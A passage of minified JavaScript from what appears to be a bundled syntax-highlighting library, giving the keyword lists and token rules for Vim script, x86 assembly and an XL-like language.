lpfile lrewind ltag lunmap luado luafile lvimgrep lvimgrepadd lwindow move mark make mapclear match menu menutranslate messages mkexrc mksession mkspell mkvimrc mkview mode mzscheme mzfile nbclose nbkey nbsart next nmap nmapclear nmenu nnoremap nnoremenu noautocmd noremap nohlsearch noreabbrev noremenu normal number nunmap nunmenu oldfiles open omap omapclear omenu only onoremap onoremenu options ounmap ounmenu ownsyntax print profdel profile promptfind promptrepl pclose pedit perl perldo pop popup ppop preserve previous psearch ptag ptNext ptfirst ptjump ptlast ptnext ptprevious ptrewind ptselect put pwd py3do py3file python pydo pyfile quit quitall qall read recover redo redir redraw redrawstatus registers resize retab return rewind right rightbelow ruby rubydo rubyfile rundo runtime rviminfo substitute sNext sandbox sargument sall saveas sbuffer sbNext sball sbfirst sblast sbmodified sbnext sbprevious sbrewind scriptnames scriptencoding scscope set setfiletype setglobal setlocal sfind sfirst shell simalt sign silent sleep slast smagic smapclear smenu snext sniff snomagic snoremap snoremenu sort source spelldump spellgood spellinfo spellrepall spellundo spellwrong split sprevious srewind stop stag startgreplace startreplace startinsert stopinsert stjump stselect sunhide sunmap sunmenu suspend sview swapname syntax syntime syncbind tNext tabNext tabclose tabedit tabfind tabfirst tablast tabmove tabnext tabonly tabprevious tabrewind tag tcl tcldo tclfile tearoff tfirst throw tjump tlast tmenu tnext topleft tprevious trewind tselect tunmenu undo undojoin undolist unabbreviate unhide unlet unlockvar unmap unmenu unsilent update vglobal version verbose vertical vimgrep vimgrepadd visual viusage view vmap vmapclear vmenu vnew vnoremap vnoremenu vsplit vunmap vunmenu write wNext wall while winsize wincmd winpos wnext wprevious wqall wsverb wundo wviminfo xit xall xmapclear xmap xmenu xnoremap xnoremenu xunmap xunmenu yank",built_in:"synIDtrans atan2 range matcharg did_filetype asin feedkeys xor argv complete_check add getwinposx getqflist getwinposy screencol clearmatches empty extend getcmdpos mzeval garbagecollect setreg ceil sqrt diff_hlID inputsecret get getfperm getpid filewritable shiftwidth max sinh isdirectory synID system inputrestore winline atan visualmode inputlist tabpagewinnr round getregtype mapcheck hasmapto histdel argidx findfile sha256 exists toupper getcmdline taglist string getmatches bufnr strftime winwidth bufexists strtrans tabpagebuflist setcmdpos remote_read printf setloclist getpos getline bufwinnr float2nr len getcmdtype diff_filler luaeval resolve libcallnr foldclosedend reverse filter has_key bufname str2float strlen setline getcharmod setbufvar index searchpos shellescape undofile foldclosed setqflist buflisted strchars str2nr virtcol floor remove undotree remote_expr winheight gettabwinvar reltime cursor tabpagenr finddir localtime acos getloclist search tanh matchend rename gettabvar strdisplaywidth type abs py3eval setwinvar tolower wildmenumode log10 spellsuggest bufloaded synconcealed nextnonblank server2client complete settabwinvar executable input wincol setmatches getftype hlID inputsave searchpair or screenrow line settabvar histadd deepcopy strpart remote_peek and eval getftime submatch screenchar winsaveview matchadd mkdir screenattr getfontname libcall reltimestr getfsize winnr invert pow getbufline byte2line soundfold repeat fnameescape tagfiles sin strwidth spellbadword trunc maparg log lispindent hostname setpos globpath remote_foreground getchar synIDattr fnamemodify cscope_connection stridx winbufnr indent min complete_add nr2char searchpairpos inputdialog values matchlist items hlexists strridx browsedir expand fmod pathshorten line2byte argc count getwinvar glob foldtextresult getreg foreground cosh matchdelete has char2nr simplify histget searchdecl iconv winrestcmd pumvisible writefile foldlevel haslocaldir keys cos matchstr foldtext histnr tan tempname getcwd byteidx getbufvar islocked escape eventhandler remote_send serverlist winrestview synstack pyeval prevnonblank readfile cindent filereadable changenr exp"},illegal:/;/,contains:[A.NUMBER_MODE,{className:"string",begin:"'",end:"'",illegal:"\\n"},{className:"string",begin:/"(\\"|\n\\|[^"\n])*"/},A.COMMENT('"',"$"),{className:"variable",begin:/[bwtglsav]:[\w\d_]*/},{className:"function",beginKeywords:"function function!",end:"$",relevance:0,contains:[A.TITLE_MODE,{className:"params",begin:"\\(",end:"\\)"}]},{className:"symbol",begin:/<[\w-]+>/}]}}D_8.exports=aNq});var P_8=v((XRz,M_8)=>{function sNq(A){return{name:"Intel x86 Assembly",case_insensitive:!0,keywords:{$pattern:"[.%]?"+A.IDENT_RE,keyword:"lock rep repe repz repne repnz xaquire xrelease bnd nobnd aaa aad aam aas adc add and arpl bb0_reset bb1_reset bound bsf bsr bswap bt btc btr bts call cbw cdq cdqe clc cld cli clts cmc cmp cmpsb cmpsd cmpsq cmpsw cmpxchg cmpxchg486 cmpxchg8b cmpxchg16b cpuid cpu_read cpu_write cqo cwd cwde daa das dec div dmint emms enter equ f2xm1 fabs fadd faddp fbld fbstp fchs fclex fcmovb fcmovbe fcmove fcmovnb fcmovnbe fcmovne fcmovnu fcmovu fcom fcomi fcomip fcomp fcompp fcos fdecstp fdisi fdiv fdivp fdivr fdivrp femms feni ffree ffreep fiadd ficom ficomp fidiv fidivr fild fimul fincstp finit fist fistp fisttp fisub fisubr fld fld1 fldcw fldenv fldl2e fldl2t fldlg2 fldln2 fldpi fldz fmul fmulp fnclex fndisi fneni fninit fnop fnsave fnstcw fnstenv fnstsw fpatan fprem fprem1 fptan frndint frstor fsave fscale fsetpm fsin fsincos fsqrt fst fstcw fstenv fstp fstsw fsub fsubp fsubr fsubrp ftst fucom fucomi fucomip fucomp fucompp fxam fxch fxtract fyl2x fyl2xp1 hlt ibts icebp idiv imul in inc incbin insb insd insw int int01 int1 int03 int3 into invd invpcid invlpg invlpga iret iretd iretq iretw jcxz jecxz jrcxz jmp jmpe lahf lar lds lea leave les lfence lfs lgdt lgs lidt lldt lmsw loadall loadall286 lodsb lodsd lodsq lodsw loop loope loopne loopnz loopz lsl lss ltr mfence monitor mov movd movq movsb movsd movsq movsw movsx movsxd movzx mul mwait neg nop not or out outsb outsd outsw packssdw packsswb packuswb paddb paddd paddsb paddsiw paddsw paddusb paddusw paddw pand pandn pause paveb pavgusb pcmpeqb pcmpeqd pcmpeqw pcmpgtb pcmpgtd pcmpgtw pdistib pf2id pfacc pfadd pfcmpeq pfcmpge pfcmpgt pfmax pfmin pfmul pfrcp pfrcpit1 pfrcpit2 pfrsqit1 pfrsqrt pfsub pfsubr pi2fd pmachriw pmaddwd pmagw pmulhriw pmulhrwa pmulhrwc pmulhw pmullw pmvgezb pmvlzb pmvnzb pmvzb pop popa popad popaw popf popfd popfq popfw por prefetch prefetchw pslld psllq psllw psrad psraw psrld psrlq psrlw psubb psubd psubsb psubsiw psubsw psubusb psubusw psubw punpckhbw punpckhdq punpckhwd punpcklbw punpckldq punpcklwd push pusha pushad pushaw pushf pushfd pushfq pushfw pxor rcl rcr rdshr rdmsr rdpmc rdtsc rdtscp ret retf retn rol ror rdm rsdc rsldt rsm rsts sahf sal salc sar sbb scasb scasd scasq scasw sfence sgdt shl shld shr shrd sidt sldt skinit smi smint smintold smsw stc std sti stosb stosd stosq stosw str sub svdc svldt svts swapgs syscall sysenter sysexit sysret test ud0 ud1 ud2b ud2 ud2a umov verr verw fwait wbinvd wrshr wrmsr xadd xbts xchg xlatb xlat xor cmove cmovz cmovne cmovnz cmova cmovnbe cmovae cmovnb cmovb cmovnae cmovbe cmovna cmovg cmovnle cmovge cmovnl cmovl cmovnge cmovle cmovng cmovc cmovnc cmovo cmovno cmovs cmovns cmovp cmovpe cmovnp cmovpo je jz jne jnz ja jnbe jae jnb jb jnae jbe jna jg jnle jge jnl jl jnge jle jng jc jnc jo jno js jns jpo jnp jpe jp sete setz setne setnz seta setnbe setae setnb setnc setb setnae setcset setbe setna setg setnle setge setnl setl setnge setle setng sets setns seto setno setpe setp setpo setnp addps addss andnps andps cmpeqps cmpeqss cmpleps cmpless cmpltps cmpltss cmpneqps cmpneqss cmpnleps cmpnless cmpnltps cmpnltss cmpordps cmpordss cmpunordps cmpunordss cmpps cmpss comiss cvtpi2ps cvtps2pi cvtsi2ss cvtss2si cvttps2pi cvttss2si divps divss ldmxcsr maxps maxss minps minss movaps movhps movlhps movlps movhlps movmskps movntps movss movups mulps mulss orps rcpps rcpss rsqrtps rsqrtss shufps sqrtps sqrtss stmxcsr subps subss ucomiss unpckhps unpcklps xorps fxrstor fxrstor64 fxsave fxsave64 xgetbv xsetbv xsave xsave64 xsaveopt xsaveopt64 xrstor xrstor64 prefetchnta prefetcht0 prefetcht1 prefetcht2 maskmovq movntq pavgb pavgw pextrw pinsrw pmaxsw pmaxub pminsw pminub pmovmskb pmulhuw psadbw pshufw pf2iw pfnacc pfpnacc pi2fw pswapd maskmovdqu clflush movntdq movnti movntpd movdqa movdqu movdq2q movq2dq paddq pmuludq pshufd pshufhw pshuflw pslldq psrldq psubq punpckhqdq punpcklqdq addpd addsd andnpd andpd cmpeqpd cmpeqsd cmplepd cmplesd cmpltpd cmpltsd cmpneqpd cmpneqsd cmpnlepd cmpnlesd cmpnltpd cmpnltsd cmpordpd cmpordsd cmpunordpd cmpunordsd cmppd comisd cvtdq2pd cvtdq2ps cvtpd2dq cvtpd2pi cvtpd2ps cvtpi2pd cvtps2dq cvtps2pd cvtsd2si cvtsd2ss cvtsi2sd cvtss2sd cvttpd2pi cvttpd2dq cvttps2dq cvttsd2si divpd divsd maxpd maxsd minpd minsd movapd movhpd movlpd movmskpd movupd mulpd mulsd orpd shufpd sqrtpd sqrtsd subpd subsd ucomisd unpckhpd unpcklpd xorpd addsubpd addsubps haddpd haddps hsubpd hsubps lddqu movddup movshdup movsldup clgi stgi vmcall vmclear vmfunc vmlaunch vmload vmmcall vmptrld vmptrst vmread vmresume vmrun vmsave vmwrite vmxoff vmxon invept invvpid pabsb pabsw pabsd palignr phaddw phaddd phaddsw phsubw phsubd phsubsw pmaddubsw pmulhrsw pshufb psignb psignw psignd extrq insertq movntsd movntss lzcnt blendpd blendps blendvpd blendvps dppd dpps extractps insertps movntdqa mpsadbw packusdw pblendvb pblendw pcmpeqq pextrb pextrd pextrq phminposuw pinsrb pinsrd pinsrq pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq pmuldq pmulld ptest roundpd roundps roundsd roundss crc32 pcmpestri pcmpestrm pcmpistri pcmpistrm pcmpgtq popcnt getsec pfrcpv pfrsqrtv movbe aesenc aesenclast aesdec aesdeclast aesimc aeskeygenassist vaesenc vaesenclast vaesdec vaesdeclast vaesimc vaeskeygenassist vaddpd vaddps vaddsd vaddss vaddsubpd vaddsubps vandpd vandps vandnpd vandnps vblendpd vblendps vblendvpd vblendvps vbroadcastss vbroadcastsd vbroadcastf128 vcmpeq_ospd vcmpeqpd vcmplt_ospd vcmpltpd vcmple_ospd vcmplepd vcmpunord_qpd vcmpunordpd vcmpneq_uqpd vcmpneqpd vcmpnlt_uspd vcmpnltpd vcmpnle_uspd vcmpnlepd vcmpord_qpd vcmpordpd vcmpeq_uqpd vcmpnge_uspd vcmpngepd vcmpngt_uspd vcmpngtpd vcmpfalse_oqpd vcmpfalsepd vcmpneq_oqpd vcmpge_ospd vcmpgepd vcmpgt_ospd vcmpgtpd vcmptrue_uqpd vcmptruepd vcmplt_oqpd vcmple_oqpd vcmpunord_spd vcmpneq_uspd vcmpnlt_uqpd vcmpnle_uqpd vcmpord_spd vcmpeq_uspd vcmpnge_uqpd vcmpngt_uqpd vcmpfalse_ospd vcmpneq_ospd vcmpge_oqpd vcmpgt_oqpd vcmptrue_uspd vcmppd vcmpeq_osps vcmpeqps vcmplt_osps vcmpltps vcmple_osps vcmpleps vcmpunord_qps vcmpunordps vcmpneq_uqps vcmpneqps vcmpnlt_usps vcmpnltps vcmpnle_usps vcmpnleps vcmpord_qps vcmpordps vcmpeq_uqps vcmpnge_usps vcmpngeps vcmpngt_usps vcmpngtps vcmpfalse_oqps vcmpfalseps vcmpneq_oqps vcmpge_osps vcmpgeps vcmpgt_osps vcmpgtps vcmptrue_uqps vcmptrueps vcmplt_oqps vcmple_oqps vcmpunord_sps vcmpneq_usps vcmpnlt_uqps vcmpnle_uqps vcmpord_sps vcmpeq_usps vcmpnge_uqps vcmpngt_uqps vcmpfalse_osps vcmpneq_osps vcmpge_oqps vcmpgt_oqps vcmptrue_usps vcmpps vcmpeq_ossd vcmpeqsd vcmplt_ossd vcmpltsd vcmple_ossd vcmplesd vcmpunord_qsd vcmpunordsd vcmpneq_uqsd vcmpneqsd vcmpnlt_ussd vcmpnltsd vcmpnle_ussd vcmpnlesd vcmpord_qsd vcmpordsd vcmpeq_uqsd vcmpnge_ussd vcmpngesd vcmpngt_ussd vcmpngtsd vcmpfalse_oqsd vcmpfalsesd vcmpneq_oqsd vcmpge_ossd vcmpgesd vcmpgt_ossd vcmpgtsd vcmptrue_uqsd vcmptruesd vcmplt_oqsd vcmple_oqsd vcmpunord_ssd vcmpneq_ussd vcmpnlt_uqsd vcmpnle_uqsd vcmpord_ssd vcmpeq_ussd vcmpnge_uqsd vcmpngt_uqsd vcmpfalse_ossd vcmpneq_ossd vcmpge_oqsd vcmpgt_oqsd vcmptrue_ussd vcmpsd vcmpeq_osss vcmpeqss vcmplt_osss vcmpltss vcmple_osss vcmpless vcmpunord_qss vcmpunordss vcmpneq_uqss vcmpneqss vcmpnlt_usss vcmpnltss vcmpnle_usss vcmpnless vcmpord_qss vcmpordss vcmpeq_uqss vcmpnge_usss vcmpngess vcmpngt_usss vcmpngtss vcmpfalse_oqss vcmpfalsess vcmpneq_oqss vcmpge_osss vcmpgess vcmpgt_osss vcmpgtss vcmptrue_uqss vcmptruess vcmplt_oqss vcmple_oqss vcmpunord_sss vcmpneq_usss vcmpnlt_uqss vcmpnle_uqss vcmpord_sss vcmpeq_usss vcmpnge_uqss vcmpngt_uqss vcmpfalse_osss vcmpneq_osss vcmpge_oqss vcmpgt_oqss vcmptrue_usss vcmpss vcomisd vcomiss vcvtdq2pd vcvtdq2ps vcvtpd2dq vcvtpd2ps vcvtps2dq vcvtps2pd vcvtsd2si vcvtsd2ss vcvtsi2sd vcvtsi2ss vcvtss2sd vcvtss2si vcvttpd2dq vcvttps2dq vcvttsd2si vcvttss2si vdivpd vdivps vdivsd vdivss vdppd vdpps vextractf128 vextractps vhaddpd vhaddps vhsubpd vhsubps vinsertf128 vinsertps vlddqu vldqqu vldmxcsr vmaskmovdqu vmaskmovps vmaskmovpd vmaxpd vmaxps vmaxsd vmaxss vminpd vminps vminsd vminss vmovapd vmovaps vmovd vmovq vmovddup vmovdqa vmovqqa vmovdqu vmovqqu vmovhlps vmovhpd vmovhps vmovlhps vmovlpd vmovlps vmovmskpd vmovmskps vmovntdq vmovntqq vmovntdqa vmovntpd vmovntps vmovsd vmovshdup vmovsldup vmovss vmovupd vmovups vmpsadbw vmulpd vmulps vmulsd vmulss vorpd vorps vpabsb vpabsw vpabsd vpacksswb vpackssdw vpackuswb vpackusdw vpaddb vpaddw vpaddd vpaddq vpaddsb vpaddsw vpaddusb vpaddusw vpalignr vpand vpandn vpavgb vpavgw vpblendvb vpblendw vpcmpestri vpcmpestrm vpcmpistri vpcmpistrm vpcmpeqb vpcmpeqw vpcmpeqd vpcmpeqq vpcmpgtb vpcmpgtw vpcmpgtd vpcmpgtq vpermilpd vpermilps vperm2f128 vpextrb vpextrw vpextrd vpextrq vphaddw vphaddd vphaddsw vphminposuw vphsubw vphsubd vphsubsw vpinsrb vpinsrw vpinsrd vpinsrq vpmaddwd vpmaddubsw vpmaxsb vpmaxsw vpmaxsd vpmaxub vpmaxuw vpmaxud vpminsb vpminsw vpminsd vpminub vpminuw vpminud vpmovmskb vpmovsxbw vpmovsxbd vpmovsxbq vpmovsxwd vpmovsxwq vpmovsxdq vpmovzxbw vpmovzxbd vpmovzxbq vpmovzxwd vpmovzxwq vpmovzxdq vpmulhuw vpmulhrsw vpmulhw vpmullw vpmulld vpmuludq vpmuldq vpor vpsadbw vpshufb vpshufd vpshufhw vpshuflw vpsignb vpsignw vpsignd vpslldq vpsrldq vpsllw vpslld vpsllq vpsraw vpsrad vpsrlw vpsrld vpsrlq vptest vpsubb vpsubw vpsubd vpsubq vpsubsb vpsubsw vpsubusb vpsubusw vpunpckhbw vpunpckhwd vpunpckhdq vpunpckhqdq vpunpcklbw vpunpcklwd vpunpckldq vpunpcklqdq vpxor vrcpps vrcpss vrsqrtps vrsqrtss vroundpd vroundps vroundsd vroundss vshufpd vshufps vsqrtpd vsqrtps vsqrtsd vsqrtss vstmxcsr vsubpd vsubps vsubsd vsubss vtestps vtestpd vucomisd vucomiss vunpckhpd vunpckhps vunpcklpd vunpcklps vxorpd vxorps vzeroall vzeroupper pclmullqlqdq pclmulhqlqdq pclmullqhqdq pclmulhqhqdq pclmulqdq vpclmullqlqdq vpclmulhqlqdq vpclmullqhqdq vpclmulhqhqdq vpclmulqdq vfmadd132ps vfmadd132pd vfmadd312ps vfmadd312pd vfmadd213ps vfmadd213pd vfmadd123ps vfmadd123pd vfmadd231ps vfmadd231pd vfmadd321ps vfmadd321pd vfmaddsub132ps vfmaddsub132pd vfmaddsub312ps vfmaddsub312pd vfmaddsub213ps vfmaddsub213pd vfmaddsub123ps vfmaddsub123pd vfmaddsub231ps vfmaddsub231pd vfmaddsub321ps vfmaddsub321pd vfmsub132ps vfmsub132pd vfmsub312ps vfmsub312pd vfmsub213ps vfmsub213pd vfmsub123ps vfmsub123pd vfmsub231ps vfmsub231pd vfmsub321ps vfmsub321pd vfmsubadd132ps vfmsubadd132pd vfmsubadd312ps vfmsubadd312pd vfmsubadd213ps vfmsubadd213pd vfmsubadd123ps vfmsubadd123pd vfmsubadd231ps vfmsubadd231pd vfmsubadd321ps vfmsubadd321pd vfnmadd132ps vfnmadd132pd vfnmadd312ps vfnmadd312pd vfnmadd213ps vfnmadd213pd vfnmadd123ps vfnmadd123pd vfnmadd231ps vfnmadd231pd vfnmadd321ps vfnmadd321pd vfnmsub132ps vfnmsub132pd vfnmsub312ps vfnmsub312pd vfnmsub213ps vfnmsub213pd vfnmsub123ps vfnmsub123pd vfnmsub231ps vfnmsub231pd vfnmsub321ps vfnmsub321pd vfmadd132ss vfmadd132sd vfmadd312ss vfmadd312sd vfmadd213ss vfmadd213sd vfmadd123ss vfmadd123sd vfmadd231ss vfmadd231sd vfmadd321ss vfmadd321sd vfmsub132ss vfmsub132sd vfmsub312ss vfmsub312sd vfmsub213ss vfmsub213sd vfmsub123ss vfmsub123sd vfmsub231ss vfmsub231sd vfmsub321ss vfmsub321sd vfnmadd132ss vfnmadd132sd vfnmadd312ss vfnmadd312sd vfnmadd213ss vfnmadd213sd vfnmadd123ss vfnmadd123sd vfnmadd231ss vfnmadd231sd vfnmadd321ss vfnmadd321sd vfnmsub132ss vfnmsub132sd vfnmsub312ss vfnmsub312sd vfnmsub213ss vfnmsub213sd vfnmsub123ss vfnmsub123sd vfnmsub231ss vfnmsub231sd vfnmsub321ss vfnmsub321sd rdfsbase rdgsbase rdrand wrfsbase wrgsbase vcvtph2ps vcvtps2ph adcx adox rdseed clac stac xstore xcryptecb xcryptcbc xcryptctr xcryptcfb xcryptofb montmul xsha1 xsha256 llwpcb slwpcb lwpval lwpins vfmaddpd vfmaddps vfmaddsd vfmaddss vfmaddsubpd vfmaddsubps vfmsubaddpd vfmsubaddps vfmsubpd vfmsubps vfmsubsd vfmsubss vfnmaddpd vfnmaddps vfnmaddsd vfnmaddss vfnmsubpd vfnmsubps vfnmsubsd vfnmsubss vfrczpd vfrczps vfrczsd vfrczss vpcmov vpcomb vpcomd vpcomq vpcomub vpcomud vpcomuq vpcomuw vpcomw vphaddbd vphaddbq vphaddbw vphadddq vphaddubd vphaddubq vphaddubw vphaddudq vphadduwd vphadduwq vphaddwd vphaddwq vphsubbw vphsubdq vphsubwd vpmacsdd vpmacsdqh vpmacsdql vpmacssdd vpmacssdqh vpmacssdql vpmacsswd vpmacssww vpmacswd vpmacsww vpmadcsswd vpmadcswd vpperm vprotb vprotd vprotq vprotw vpshab vpshad vpshaq vpshaw vpshlb vpshld vpshlq vpshlw vbroadcasti128 vpblendd vpbroadcastb vpbroadcastw vpbroadcastd vpbroadcastq vpermd vpermpd vpermps vpermq vperm2i128 vextracti128 vinserti128 vpmaskmovd vpmaskmovq vpsllvd vpsllvq vpsravd vpsrlvd vpsrlvq vgatherdpd vgatherqpd vgatherdps vgatherqps vpgatherdd vpgatherqd vpgatherdq vpgatherqq xabort xbegin xend xtest andn bextr blci blcic blsi blsic blcfill blsfill blcmsk blsmsk blsr blcs bzhi mulx pdep pext rorx sarx shlx shrx tzcnt tzmsk t1mskc valignd valignq vblendmpd vblendmps vbroadcastf32x4 vbroadcastf64x4 vbroadcasti32x4 vbroadcasti64x4 vcompresspd vcompressps vcvtpd2udq vcvtps2udq vcvtsd2usi vcvtss2usi vcvttpd2udq vcvttps2udq vcvttsd2usi vcvttss2usi vcvtudq2pd vcvtudq2ps vcvtusi2sd vcvtusi2ss vexpandpd vexpandps vextractf32x4 vextractf64x4 vextracti32x4 vextracti64x4 vfixupimmpd vfixupimmps vfixupimmsd vfixupimmss vgetexppd vgetexpps vgetexpsd vgetexpss vgetmantpd vgetmantps vgetmantsd vgetmantss vinsertf32x4 vinsertf64x4 vinserti32x4 vinserti64x4 vmovdqa32 vmovdqa64 vmovdqu32 vmovdqu64 vpabsq vpandd vpandnd vpandnq vpandq vpblendmd vpblendmq vpcmpltd vpcmpled vpcmpneqd vpcmpnltd vpcmpnled vpcmpd vpcmpltq vpcmpleq vpcmpneqq vpcmpnltq vpcmpnleq vpcmpq vpcmpequd vpcmpltud vpcmpleud vpcmpnequd vpcmpnltud vpcmpnleud vpcmpud vpcmpequq vpcmpltuq vpcmpleuq vpcmpnequq vpcmpnltuq vpcmpnleuq vpcmpuq vpcompressd vpcompressq vpermi2d vpermi2pd vpermi2ps vpermi2q vpermt2d vpermt2pd vpermt2ps vpermt2q vpexpandd vpexpandq vpmaxsq vpmaxuq vpminsq vpminuq vpmovdb vpmovdw vpmovqb vpmovqd vpmovqw vpmovsdb vpmovsdw vpmovsqb vpmovsqd vpmovsqw vpmovusdb vpmovusdw vpmovusqb vpmovusqd vpmovusqw vpord vporq vprold vprolq vprolvd vprolvq vprord vprorq vprorvd vprorvq vpscatterdd vpscatterdq vpscatterqd vpscatterqq vpsraq vpsravq vpternlogd vpternlogq vptestmd vptestmq vptestnmd vptestnmq vpxord vpxorq vrcp14pd vrcp14ps vrcp14sd vrcp14ss vrndscalepd vrndscaleps vrndscalesd vrndscaless vrsqrt14pd vrsqrt14ps vrsqrt14sd vrsqrt14ss vscalefpd vscalefps vscalefsd vscalefss vscatterdpd vscatterdps vscatterqpd vscatterqps vshuff32x4 vshuff64x2 vshufi32x4 vshufi64x2 kandnw kandw kmovw knotw kortestw korw kshiftlw kshiftrw kunpckbw kxnorw kxorw vpbroadcastmb2q vpbroadcastmw2d vpconflictd vpconflictq vplzcntd vplzcntq vexp2pd vexp2ps vrcp28pd vrcp28ps vrcp28sd vrcp28ss vrsqrt28pd vrsqrt28ps vrsqrt28sd vrsqrt28ss vgatherpf0dpd vgatherpf0dps vgatherpf0qpd vgatherpf0qps vgatherpf1dpd vgatherpf1dps vgatherpf1qpd vgatherpf1qps vscatterpf0dpd vscatterpf0dps vscatterpf0qpd vscatterpf0qps vscatterpf1dpd vscatterpf1dps vscatterpf1qpd vscatterpf1qps prefetchwt1 bndmk bndcl bndcu bndcn bndmov bndldx bndstx sha1rnds4 sha1nexte sha1msg1 sha1msg2 sha256rnds2 sha256msg1 sha256msg2 hint_nop0 hint_nop1 hint_nop2 hint_nop3 hint_nop4 hint_nop5 hint_nop6 hint_nop7 hint_nop8 hint_nop9 hint_nop10 hint_nop11 hint_nop12 hint_nop13 hint_nop14 hint_nop15 hint_nop16 hint_nop17 hint_nop18 hint_nop19 hint_nop20 hint_nop21 hint_nop22 hint_nop23 hint_nop24 hint_nop25 hint_nop26 hint_nop27 hint_nop28 hint_nop29 hint_nop30 hint_nop31 hint_nop32 hint_nop33 hint_nop34 hint_nop35 hint_nop36 hint_nop37 hint_nop38 hint_nop39 hint_nop40 hint_nop41 hint_nop42 hint_nop43 hint_nop44 hint_nop45 hint_nop46 hint_nop47 hint_nop48 hint_nop49 hint_nop50 hint_nop51 hint_nop52 hint_nop53 hint_nop54 hint_nop55 hint_nop56 hint_nop57 hint_nop58 hint_nop59 hint_nop60 hint_nop61 hint_nop62 hint_nop63",built_in:"ip eip rip al ah bl bh cl ch dl dh sil dil bpl spl r8b r9b r10b r11b r12b r13b r14b r15b ax bx cx dx si di bp sp r8w r9w r10w r11w r12w r13w r14w r15w eax ebx ecx edx esi edi ebp esp eip r8d r9d r10d r11d r12d r13d r14d r15d rax rbx rcx rdx rsi rdi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 cs ds es fs gs ss st st0 st1 st2 st3 st4 st5 st6 st7 mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 xmm0 xmm1 xmm2 xmm3 xmm4 xmm5 xmm6 xmm7 xmm8 xmm9 xmm10 xmm11 xmm12 xmm13 xmm14 xmm15 xmm16 xmm17 xmm18 xmm19 xmm20 xmm21 xmm22 xmm23 xmm24 xmm25 xmm26 xmm27 xmm28 xmm29 xmm30 xmm31 ymm0 ymm1 ymm2 ymm3 ymm4 ymm5 ymm6 ymm7 ymm8 ymm9 ymm10 ymm11 ymm12 ymm13 ymm14 ymm15 ymm16 ymm17 ymm18 ymm19 ymm20 ymm21 ymm22 ymm23 ymm24 ymm25 ymm26 ymm27 ymm28 ymm29 ymm30 ymm31 zmm0 zmm1 zmm2 zmm3 zmm4 zmm5 zmm6 zmm7 zmm8 zmm9 zmm10 zmm11 zmm12 zmm13 zmm14 zmm15 zmm16 zmm17 zmm18 zmm19 zmm20 zmm21 zmm22 zmm23 zmm24 zmm25 zmm26 zmm27 zmm28 zmm29 zmm30 zmm31 k0 k1 k2 k3 k4 k5 k6 k7 bnd0 bnd1 bnd2 bnd3 cr0 cr1 cr2 cr3 cr4 cr8 dr0 dr1 dr2 dr3 dr8 tr3 tr4 tr5 tr6 tr7 r0 r1 r2 r3 r4 r5 r6 r7 r0b r1b r2b r3b r4b r5b r6b r7b r0w r1w r2w r3w r4w r5w r6w r7w r0d r1d r2d r3d r4d r5d r6d r7d r0h r1h r2h r3h r0l r1l r2l r3l r4l r5l r6l r7l r8l r9l r10l r11l r12l r13l r14l r15l db dw dd dq dt ddq do dy dz resb resw resd resq rest resdq reso resy resz incbin equ times byte word dword qword nosplit rel abs seg wrt strict near far a32 ptr",meta:"%define %xdefine %+ %undef %defstr %deftok %assign %strcat %strlen %substr %rotate %elif %else %endif %if %ifmacro %ifctx %ifidn %ifidni %ifid %ifnum %ifstr %iftoken %ifempty %ifenv %error %warning %fatal %rep %endrep %include %push %pop %repl %pathsearch %depend %use %arg %stacksize %local %line %comment %endcomment .nolist __FILE__ __LINE__ __SECT__ __BITS__ __OUTPUT_FORMAT__ __DATE__ __TIME__ __DATE_NUM__ __TIME_NUM__ __UTC_DATE__ __UTC_TIME__ __UTC_DATE_NUM__ __UTC_TIME_NUM__ __PASS__ struc endstruc istruc at iend align alignb sectalign daz nodaz up down zero default option assume public bits use16 use32 use64 default section segment absolute extern global common cpu float __utf16__ __utf16le__ __utf16be__ __utf32__ __utf32le__ __utf32be__ __float8__ __float16__ __float32__ __float64__ __float80m__ __float80e__ __float128l__ __float128h__ __Infinity__ __QNaN__ __SNaN__ Inf NaN QNaN SNaN float8 float16 float32 float64 float80m float80e float128l float128h __FLOAT_DAZ__ __FLOAT_ROUND__ __FLOAT__"},contains:[A.COMMENT(";","$",{relevance:0}),{className:"number",variants:[{begin:"\\b(?:([0-9][0-9_]*)?\\.[0-9_]*(?:[eE][+-]?[0-9_]+)?|(0[Xx])?[0-9][0-9_]*(\\.[0-9_]*)?(?:[pP](?:[+-]?[0-9_]+)?)?)\\b",relevance:0},{begin:"\\$[0-9][0-9A-Fa-f]*",relevance:0},{begin:"\\b(?:[0-9A-Fa-f][0-9A-Fa-f_]*[Hh]|[0-9][0-9_]*[DdTt]?|[0-7][0-7_]*[QqOo]|[0-1][0-1_]*[BbYy])\\b"},{begin:"\\b(?:0[Xx][0-9A-Fa-f_]+|0[DdTt][0-9_]+|0[QqOo][0-7_]+|0[BbYy][0-1_]+)\\b"}]},A.QUOTE_STRING_MODE,{className:"string",variants:[{begin:"'",end:"[^\\\\]'"},{begin:"`",end:"[^\\\\]`"}],relevance:0},{className:"symbol",variants:[{begin:"^\\s*[A-Za-z._?][A-Za-z0-9_$#@~.?]*(:|\\s+label)"},{begin:"^\\s*%%[A-Za-z0-9_$#@~.?]*:"}],relevance:0},{className:"subst",begin:"%[0-9]+",relevance:0},{className:"subst",begin:"%!S+",relevance:0},{className:"meta",begin:/^\s*\.[\w_-]+/}]}}M_8.exports=sNq});var f_8=v(($Rz,V_8)=>{function tNq(A){let q={$pattern:/[a-zA-Z][a-zA-Z0-9_?]*/,keyword:"if then else do while until for loop import with is as where when by data constant integer real text name boolean symbol infix prefix postfix block tree",literal:"true false nil",built_in:"in mod rem and or xor not abs sign floor ceil sqrt sin cos tan asin acos atan exp expm1 log log2 log10 log1p pi at text_length text_range text_find text_replace contains page slide basic_slide title_slide title subtitle fade_in fade_out fade_at clear_color color line_color line_width texture_wrap texture_transform texture scale_?x scale_?y scale_?z? translate_?x translate_?y translate_?z? rotate_?x rotate_?y rotate_?z? rectangle circle ellipse sphere path line_to move_to quad_to curve_to theme background contents locally time mouse_?x mouse_?y mouse_buttons "+"ObjectLoader Animate MovieCredits Slides Filters Shading Materials LensFlare Mapping VLCAudioVideo StereoDecoder PointCloud NetworkAccess RemoteControl RegExp ChromaKey Snowfall NodeJS Speech 